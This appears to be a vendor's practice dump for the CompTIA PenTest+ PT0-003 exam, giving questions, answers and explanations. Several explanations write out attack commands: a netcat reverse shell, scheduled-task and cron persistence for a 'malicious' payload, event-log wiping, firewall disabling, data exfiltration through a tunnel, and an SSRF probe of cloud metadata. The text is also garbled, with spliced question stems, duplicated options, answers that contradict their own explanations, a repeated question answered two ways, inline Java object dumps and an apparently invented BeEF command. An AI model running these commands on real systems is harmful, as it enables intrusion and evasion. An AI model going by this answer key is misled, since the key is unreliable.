



CompTIA

Exam Questions PT0-003

CompTIA PenTest+ Exam

NEW QUESTION 1

A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information:

Server High-severity vulnerabilities

- * 1. Development sandbox server 32
- * 2. Back office file transfer server 51
- * 3. Perimeter network web server 14
- * 4. Developer QA server 92

The client is unable to monitor mode using Aircrack-ng on any of the following hosts should the penetration tester select for additional manual testing?

- A. Server 1
- B. Server 2
- C. Server 3
- D. Server 4

Answer: C

Explanation:

? Client Concern:

? Server Analysis:

? Pentest References:

By selecting Server 3 (the perimeter network web server) for additional manual testing, the penetration tester addresses the client's primary concern about the availability and security of the consumer-facing production application.

=====

NEW QUESTION 2

A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:

Hostname | IP address | CVSS 2.0 | EPSS hrdatabase | 192.168.20.55 | 9.9 | 0.50

financesite | 192.168.15.99 | 8.0 | 0.01

legaldatabase | 192.168.10.2 | 8.2 | 0.60

fileserver | 192.168.125.7 | 7.6 | 0.90

Which of the following targets should the tester select next?

- A. fileserver
- B. hrdatabase
- C. legaldatabase
- D. financesite

Answer: A

Explanation:

Given the output, the penetration tester should select the fileserver as the next target for testing, considering both CVSS and EPSS scores. Explanation

? CVSS (Common Vulnerability Scoring System):

? EPSS (Exploit Prediction Scoring System):

? Evaluation:

Pentest References:

? Prioritization: Balancing between severity (CVSS) and exploitability (EPSS) is crucial for effective vulnerability management.

? Risk Assessment: Evaluating both the impact and the likelihood of exploitation helps in making informed decisions about testing priorities.

By selecting the fileserver, which has a high EPSS score, the penetration tester focuses on a target that is more likely to be exploited, thereby addressing the most immediate risk.

=====

NEW QUESTION 3

A penetration tester discovers evidence of an advanced persistent threat on the network that is being tested. Which of the following should the tester do next?

- A. Report the finding.
- B. Analyze the finding.
- C. Remove the threat.
- D. Document the finding and continue testing.

Answer: A

Explanation:

Upon discovering evidence of an advanced persistent threat (APT) on the network, the penetration tester should report the finding immediately.

? Advanced Persistent Threat (APT):

? Immediate Reporting:

? Other Actions:

Pentest References:

? Incident Response: Understanding the importance of immediate reporting and collaboration with the organization's security team upon discovering critical threats like APTs.

? Ethical Responsibility: Following ethical guidelines and protocols to ensure the organization can respond effectively to significant threats.

By reporting the finding immediately, the penetration tester ensures that the organization's security team is alerted to the presence of an APT, allowing them to initiate an appropriate incident response.

=====

NEW QUESTION 4

Which of the following describes the process of determining why a vulnerability scanner is not providing results?

- A. Root cause analysis
- B. Secure distribution
- C. Peer review
- D. Goal reprioritization

Answer: A

Explanation:

Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here's why option A is correct:

? Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.

? Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.

? Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.

? Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.

References from Pentest:

? Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.

? Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.

=====

NEW QUESTION 5

As part of an engagement, a penetration tester wants to maintain access to a compromised system after rebooting. Which of the following techniques would be best for the tester to use?

- A. Establishing a reverse shell
- B. Executing a process injection attack
- C. Creating a scheduled task
- D. Performing a credential-dumping attack

Answer: C

Explanation:

To maintain access to a compromised system after rebooting, a penetration tester should create a scheduled task. Scheduled tasks are designed to run automatically at specified times or when certain conditions are met, ensuring persistence across reboots.

? Persistence Mechanisms:

? Creating a Scheduled Task:

schtasks /create /tn "Persistence" /tr "C:\path\to\malicious.exe" /sc onlogon /ru SYSTEM

? uk.co.certification.simulator.questionpool.PList@7b2e6d1d (crontab -l; echo "@reboot /path/to/malicious.sh") | crontab -

? Pentest References:

By creating a scheduled task, the penetration tester ensures that their access method (e.g., reverse shell, malware) is executed automatically whenever the system reboots, providing reliable persistence.

=====

NEW QUESTION 6

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:

nc -e /bin/sh 10.10.10.16 4444

Which of the following would most likely bypass the filtered space character?

- A. \${IFS}
- B. %0a
- C. + *
- D. %20

Answer: A

Explanation:

To bypass a command injection blocklist that filters out the space character, the tester can use \${IFS}. \${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

? Command Injection:

? Bypassing Filters:

? Alternative Encodings:

Pentest References:

? Command Injection: Understanding how command injection works and common techniques to exploit it.

? Bypassing Filters: Using creative methods like environment variable expansion to

bypass input filters and execute commands.

? Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.

By using \${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability's exploitability.

=====

NEW QUESTION 7

A tester is performing an external phishing assessment on the top executives at a company. Two-factor authentication is enabled on the executives' accounts that are in the scope of work. Which of the following should the tester do to get access to these accounts?

- A. Configure an external domain using a typosquatting technique
- B. Configure Evilginx to bypass two-factor authentication using a phishlet that simulates the mail portal for the company.
- C. Configure Gophish to use an external domain
- D. Clone the email portal web page from the company and get the two-factor authentication code using a brute-force attack method.
- E. Configure an external domain using a typosquatting technique
- F. Configure SET to bypass two-factor authentication using a phishlet that mimics the mail portal for the company.

- G. Configure Gophish to use an external domain
H. Clone the email portal web page from the company and get the two-factor authentication code using a phishing method.

Answer: A

Explanation:

To bypass two-factor authentication (2FA) and gain access to the executives' accounts, the tester should use Evilginx with a typosquatting domain. Evilginx is a man-in-the-middle attack framework used to bypass 2FA by capturing session tokens.

? Phishing with Evilginx:

? Typosquatting:

? Steps:

Pentest References:

? Phishing: Social engineering technique to deceive users into providing sensitive information.

? Two-Factor Authentication Bypass: Advanced phishing attacks like those using Evilginx can capture and reuse session tokens, bypassing 2FA mechanisms.

? OSINT and Reconnaissance: Identifying key targets (executives) and crafting convincing phishing emails based on gathered information.

Using Evilginx with a typosquatting domain allows the tester to bypass 2FA and gain access to high-value accounts, demonstrating the effectiveness of advanced phishing techniques.

=====

NEW QUESTION 8

During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system. The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?

- A. certutil.exe
B. bitsadmin.exe
C. msconfig.exe
D. netsh.exe

Answer: D

Explanation:

? Understanding netsh.exe:

? Disabling the Firewall:

netsh advfirewall set allprofiles state off

? Usage in Penetration Testing:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 9

A consultant starts a network penetration test. The consultant uses a laptop that is hardwired to the network to try to assess the network with the appropriate tools. Which of the following should the consultant engage first?

- A. Service discovery
B. OS fingerprinting
C. Host discovery
D. DNS enumeration

Answer: C

Explanation:

In network penetration testing, the initial steps involve gathering information to build an understanding of the network's structure, devices, and potential entry points. The process generally follows a structured approach, starting from broad discovery methods to more specific identification techniques. Here's a comprehensive breakdown of the steps:

? Host Discovery (Answer: C):

nmap -sn 192.168.1.0/24

? References:

Service Discovery (Option A):

? Objective: After identifying live hosts, determine the services running on them.

? Tools & Techniques: nmap -sV 192.168.1.100

? References:

OS Fingerprinting (Option B):

? Objective: Determine the operating system of the identified hosts.

? Tools & Techniques: nmap -O 192.168.1.100

? References:

DNS Enumeration (Option D):

? Objective: Identify DNS records and gather subdomains related to the target domain.

? Tools & Techniques:

dnsenum example.com

Conclusion: The initial engagement in a network penetration test is to identify the live hosts on the network (Host Discovery). This foundational step allows the penetration tester to map out active devices before delving into more specific enumeration tasks like service discovery, OS fingerprinting, and DNS enumeration. This structured approach ensures that the tester maximizes their understanding of the network environment efficiently and systematically.

NEW QUESTION 10

During a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?

- A. Golden Ticket
B. Kerberoasting

- C. DCShadow
- D. LSASS dumping

Answer: B

Explanation:

Kerberoasting is an attack that specifically targets Service Principal Name (SPN) accounts in a Windows Active Directory environment. Here's a detailed Explanation

? Understanding SPN Accounts:

? Kerberoasting Attack:

? Comparison with Other Attacks:

Kerberoasting specifically requires the SPN account information to proceed, making it the correct answer.

=====

NEW QUESTION 10

Which of the following is most important when communicating the need for vulnerability remediation to a client at the conclusion of a penetration test?

- A. Articulation of cause
- B. Articulation of impact
- C. Articulation of escalation
- D. Articulation of alignment

Answer: B

Explanation:

When concluding a penetration test, effectively communicating the need for vulnerability remediation is crucial. Here's why the articulation of impact is the most important aspect:

? Articulation of Cause (Option A):

? Articulation of Impact (Option B):

? Articulation of Escalation (Option C):

? Articulation of Alignment (Option D):

Conclusion: Articulating the impact of vulnerabilities is the most crucial element when communicating the need for remediation. By clearly explaining the potential risks and consequences, penetration testers can effectively convey the urgency and importance of addressing the discovered issues, thus motivating clients to take prompt and appropriate action.

NEW QUESTION 15

In a cloud environment, a security team discovers that an attacker accessed confidential information that was used to configure virtual machines during their initialization. Through which of the following features could this information have been accessed?

- A. IAM
- B. Block storage
- C. Virtual private cloud
- D. Metadata services

Answer: D

Explanation:

Metadata services in cloud environments provide information about the configuration and instance details, including sensitive data used during the initialization of virtual machines. Attackers can access this information to exploit and gain unauthorized access.

? Understanding Metadata Services:

? Common Information Exposed:

? Security Risks:

? Best Practices:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 19

A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:

```
1 import requests
2 import pathlib
3
4 for url in pathlib.Path("urls.txt").read_text().split("\n"):
5     response = requests.get(url)
6     if response.status == 401:
7         print("URL accessible")
```

Which of the following changes is required?

- A. The condition on line 6
- B. The method on line 5
- C. The import on line 1
- D. The delimiter in line 3

Answer: A

Explanation:

? Script Analysis:

? Error Identification:

? Correct Condition:

? Corrected Script:

Pentest References:

? In penetration testing, checking the accessibility of multiple URLs is a common task, often part of reconnaissance. Identifying publicly accessible resources can reveal potential entry points for further testing.

? The requests library in Python is widely used for making HTTP requests and handling responses. Understanding HTTP status codes is crucial for correctly interpreting the results of these requests.

By changing the condition to check for a 200 status code, the script will correctly identify and print URLs that are publicly accessible.

=====

NEW QUESTION 23

During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

- A. KARMA attack
- B. Beacon flooding
- C. MAC address spoofing
- D. Eavesdropping

Answer: C

Explanation:

MAC address spoofing involves changing the MAC address of a network interface to mimic another device on the network. This technique is often used to bypass network access controls and gain unauthorized access to a network.

? Understanding MAC Address Spoofing:

? Purpose:

? Tools and Techniques:

Step-by-Step Explanationifconfig eth0 hw ether 00:11:22:33:44:55

? uk.co.certification.simulator.questionpool.PList@55bce337

? Impact:

? Detection and Mitigation:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups Top of Form

Bottom of Form

=====

NEW QUESTION 24

During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

- A. SQL injection
- B. SSRF
- C. XSS
- D. Server-side template injection

Answer: C

Explanation:

Cross-Site Scripting (XSS) is an attack that involves injecting malicious scripts into web pages viewed by other users. Here's why option C is correct:

? XSS (Cross-Site Scripting): This attack involves injecting JavaScript into a web application, which is then executed by the user's browser. The scenario describes injecting a JavaScript prompt, which is a typical XSS payload.

? SQL Injection: This involves injecting SQL commands to manipulate the database and does not relate to JavaScript injection.

? SSRF (Server-Side Request Forgery): This attack tricks the server into making requests to unintended locations, which is not related to client-side JavaScript execution.

? Server-Side Template Injection: This involves injecting code into server-side templates, not JavaScript that executes in the user's browser.

References from Pentest:

? Horizontal HTB: Demonstrates identifying and exploiting XSS vulnerabilities in web applications.

? Luke HTB: Highlights the process of testing for XSS by injecting scripts and observing their execution in the browser.

=====

NEW QUESTION 26

During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?

- A. Clear the Windows event logs.
- B. Modify the system time.
- C. Alter the log permissions.
- D. Reduce the log retention settings.

Answer: A

Explanation:

During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here's a detailed explanation of why clearing the Windows event logs is the best method for this scenario:

? Understanding Windows Event Logs: Windows event logs are a key forensic

artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.

? Why Clear Windows Event Logs:

? Method to Clear Event Logs:

shell

Copy code wevtutil cl System wevtutil cl Security
wevtutil cl Application
? uk.co.certification.simulator.questionpool.PList@6126ce2a
? Alternative Options and Their Drawbacks:
? Case References:

In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester's actions remain undetected.

=====

NEW QUESTION 31

A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be a function of the rules of engagement?

- A. Testing window
- B. Terms of service
- C. Authorization letter
- D. Shared responsibilities

Answer: A

Explanation:

The rules of engagement define the scope, limitations, and conditions under which a penetration test is conducted. Here's why option A is correct:

? Testing Window: This specifies the time frame during which the penetration testing activities are authorized to occur. It is a crucial part of the rules of engagement to ensure the testing does not disrupt business operations and is conducted within agreed-upon hours.

? Terms of Service: This generally refers to the legal agreement between a service provider and user, not specific to penetration testing engagements.

? Authorization Letter: This provides formal permission for the penetration tester to perform the assessment but is not a component of the rules of engagement.

? Shared Responsibilities: This refers to the division of security responsibilities between parties, often seen in cloud service agreements, but not specifically a function of the rules of engagement.

References from Pentest:

? Luke HTB: Highlights the importance of clearly defining the testing window in the rules of engagement to ensure all parties are aligned.

? Forge HTB: Demonstrates the significance of having a well-defined testing window to avoid disruptions and ensure compliance during the assessment.

=====

NEW QUESTION 35

During an assessment, a penetration tester exploits an SQLi vulnerability. Which of the following commands would allow the penetration tester to enumerate password hashes?

- A. sqlmap -u www.example.com/?id=1 --search -T user
- B. sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred
- C. sqlmap -u www.example.com/?id=1 --tables -D accounts
- D. sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

Answer: B

Explanation:

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The --dump command in sqlmap is used to dump the contents of the specified database table. Here's a breakdown of the options:

? Option A: sqlmap -u www.example.com/?id=1 --search -T user

? Option B: sqlmap -u www.example.com/?id=1 --dump -D accounts -T users -C cred

? Option C: sqlmap -u www.example.com/?id=1 --tables -D accounts

? Option D: sqlmap -u www.example.com/?id=1 --schema --current-user --current-db

References from Pentest:

? Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes.

? Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database.

=====

NEW QUESTION 37

A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?

- A. SAST
- B. Sidecar
- C. Unauthenticated
- D. Host-based

Answer: C

Explanation:

To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.

? Unauthenticated Scan:

? Comparison with Other Scans:

? Pentest References:

By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.

=====

NEW QUESTION 38

A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?

- A. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
- B. Apply Base64 to the data and send over a tunnel to TCP port 80.
- C. Apply 3DES to the data and send over a tunnel UDP port 53.
- D. Apply AES-256 to the data and send over a tunnel to TCP port 443.

Answer: D

Explanation:

AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.

? Encrypting Data with AES-256:

Step-by-Step Explanation
openssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin

-k secretkey

? Setting Up a Secure Tunnel:

ssh -L 443:targetserver:443 user@intermediatehost

? Transferring Data Over the Tunnel: cat encrypted.bin | nc targetserver 443

? Benefits of Using AES-256 and Port 443:

? Real-World Example:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 39

A penetration tester wants to check the security awareness of specific workers in the company with targeted attacks. Which of the following attacks should the penetration tester perform?

- A. Phishing
- B. Tailgating
- C. Whaling
- D. Spear phishing

Answer: D

Explanation:

Spear phishing is a targeted email attack aimed at specific individuals within an organization. Unlike general phishing, spear phishing is personalized and often involves extensive reconnaissance to increase the likelihood of success.

? Understanding Spear Phishing:

? Purpose:

? Process:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 40

During an assessment, a penetration tester wants to extend the vulnerability search to include the use of dynamic testing. Which of the following tools should the tester use?

- A. Mimikatz
- B. ZAP
- C. OllyDbg
- D. SonarQube

Answer: B

Explanation:

? Dynamic Application Security Testing (DAST):

? ZAP (Zed Attack Proxy):

? Other Tools:

Pentest References:

? Web Application Security Testing: Utilizing DAST tools like ZAP to dynamically test and find vulnerabilities in running web applications.

? OWASP Tools: Leveraging open-source tools recommended by OWASP for comprehensive security testing.

By using ZAP, the penetration tester can perform dynamic testing to identify runtime vulnerabilities in web applications, extending the scope of the vulnerability search.

=====

NEW QUESTION 43

A penetration tester is working on a security assessment of a mobile application that was developed in-house for local use by a hospital. The hospital and its customers are very concerned about disclosure of information. Which of the following tasks should the penetration tester do first?

- A. Set up Drozer in order to manipulate and scan the application.
- B. Run the application through the mobile application security framework.
- C. Connect Frida to analyze the application at runtime to look for data leaks.
- D. Load the application on client-owned devices for testing.

Answer: B

Explanation:

When performing a security assessment on a mobile application, especially one concerned with information disclosure, it is crucial to follow a structured approach

to identify vulnerabilities comprehensively. Here's why option B is correct:

? Mobile Application Security Framework: This framework provides a structured methodology for assessing the security of mobile applications. It includes various tests such as static analysis, dynamic analysis, and reverse engineering, which are essential for identifying vulnerabilities related to information disclosure.

? Initial Steps: Running the application through a security framework allows the tester to identify a broad range of potential issues systematically. This initial step ensures that all aspects of the application's security are covered before delving into more specific tools like Drozer or Frida.

References from Pentest:

? Writeup HTB: Demonstrates the use of structured methodologies to ensure comprehensive coverage of security assessments.

? Horizontal HTB: Emphasizes the importance of following a structured approach to identify and address security issues.

=====

NEW QUESTION 44

Which of the following components should a penetration tester include in an assessment report?

- A. User activities
- B. Customer remediation plan
- C. Key management
- D. Attack narrative

Answer: D

Explanation:

An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and implications of the findings.

? Components of an Assessment Report:

? Importance of Attack Narrative:

? References from Pentesting Literature: Step-by-Step ExplanationReferences:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 49

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitability?

- A. curl <url>?param=http://169.254.169.254/latest/meta-data/
- B. curl '<url>?param=http://127.0.0.1/etc/passwd'
- C. curl '<url>?param=<script>alert(1)<script>/'
- D. curl <url>?param=http://127.0.0.1/

Answer: A

Explanation:

In a cloud environment, testing for Server-Side Request Forgery (SSRF) vulnerabilities involves attempting to access metadata services. Here's why the specified command is appropriate:

? Accessing Cloud Metadata Service:

? Comparison with Other Commands:

Using curl <url>?param=http://169.254.169.254/latest/meta-data/ is the correct approach to test for SSRF vulnerabilities in cloud environments to potentially expose secrets.

=====

NEW QUESTION 54

A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?

- A. BeEF
- B. John the Ripper
- C. ZAP
- D. Evilginx

Answer: A

Explanation:

BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on web browsers. It has built-in functionality for generating malicious QR codes, which can be used to direct users to malicious websites, execute browser-based attacks, or gather information.

? Understanding BeEF:

? Creating Malicious QR Codes: Step-by-Step Explanationbeef -x --qr

? Usage in Physical Security Assessments:

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 56

A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

- A. Enable monitoring mode using Aircrack-ng.
- B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
- C. Run KARMA to break the password.

D. Research WiGLE.net for potential nearby client access points.

Answer: A

Explanation:

Enabling monitoring mode on the wireless adapter is the essential step before capturing WPA2 handshakes. Monitoring mode allows the adapter to capture all wireless traffic in its vicinity, which is necessary for capturing handshakes.

? Preparation:

? Enable Monitoring Mode:

Step-by-Step Explanation
airmon-ng start wlan0

? uk.co.certification.simulator.questionpool.PList@3327f1d6 iwconfig

? Capture WPA2 Handshakes: airodump-ng wlan0mon

? References from Pentesting Literature: References:

? Penetration Testing - A Hands-on Introduction to Hacking

? HTB Official Writeups

=====

NEW QUESTION 57

A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?

A. SAST

B. SBOM

C. ICS

D. SCA

Answer: D

Explanation:

The tester's activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA). Here's why:

? Understanding SCA:

? Comparison with Other Terms:

The tester's activity of examining a JAR file for vulnerable components aligns with SCA, making it the correct answer.

=====

NEW QUESTION 62

During a vulnerability assessment, a penetration tester configures the scanner sensor and performs the initial vulnerability scanning under the client's internal network. The tester later discusses the results with the client, but the client does not accept the results. The client indicates the host and assets that were within scope are not included in the vulnerability scan results. Which of the following should the tester have done?

A. Rechecked the scanner configuration.

B. Performed a discovery scan.

C. Used a different scan engine.

D. Configured all the TCP ports on the scan.

Answer: B

Explanation:

When the client indicates that the scope's hosts and assets are not included in the vulnerability scan results, it suggests that the tester may have missed discovering all the devices in the scope. Here's the best course of action:

? Performing a Discovery Scan:

? Comparison with Other Actions:

Performing a discovery scan ensures that all in-scope devices are identified and included in the vulnerability assessment, making it the best course of action.

=====

NEW QUESTION 66

A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?

Host | CVSS | EPSS
Target 1 | 4 | 0.6

Target 2 | 2 | 0.3

Target 3 | 1 | 0.6

Target 4 | 4.5 | 0.4

A. Target 1: CVSS Score = 4 and EPSS Score = 0.6

B. Target 2: CVSS Score = 2 and EPSS Score = 0.3

C. Target 3: CVSS Score = 1 and EPSS Score = 0.6

D. Target 4: CVSS Score = 4.5 and EPSS Score = 0.4

Answer: A

Explanation:

Based on the CVSS (Common Vulnerability Scoring System) and EPSS (Exploit Prediction Scoring System) scores, Target 1 is the most likely to get attacked.

? CVSS:

? EPSS:

? Analysis:

Pentest References:

? Vulnerability Prioritization: Using CVSS and EPSS scores to prioritize vulnerabilities based on severity and likelihood of exploitation.

? Risk Assessment: Understanding the balance between impact (CVSS) and exploit likelihood (EPSS) to identify the most critical targets for remediation or attack.

By focusing on Target 1, which has a balanced combination of severity and exploitability, the penetration tester can address the most likely target for attacks based

on the given scores.
=====

NEW QUESTION 70

During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

- A. KARMA attack
- B. Beacon flooding
- C. MAC address spoofing
- D. Eavesdropping

Answer: A

Explanation:

To exploit a vulnerability in a wireless network's authentication mechanism and gain unauthorized access, the penetration tester would most likely perform a KARMA attack.

? KARMA Attack:

? Purpose:

? Other Options:

Pentest References:

? Wireless Security Assessments: Understanding common attack techniques such as KARMA is crucial for identifying and exploiting vulnerabilities in wireless networks.

? Rogue Access Points: Setting up rogue APs to capture credentials or perform man-in-the-middle attacks is a common tactic in wireless penetration testing.

By performing a KARMA attack, the penetration tester can exploit the wireless network's authentication mechanism and gain unauthorized access to the network.

=====

NEW QUESTION 74

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

PT0-003 Practice Exam Features:

- * PT0-003 Questions and Answers Updated Frequently
- * PT0-003 Practice Questions Verified by Expert Senior Certified Staff
- * PT0-003 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * PT0-003 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The PT0-003 Practice Test Here](#)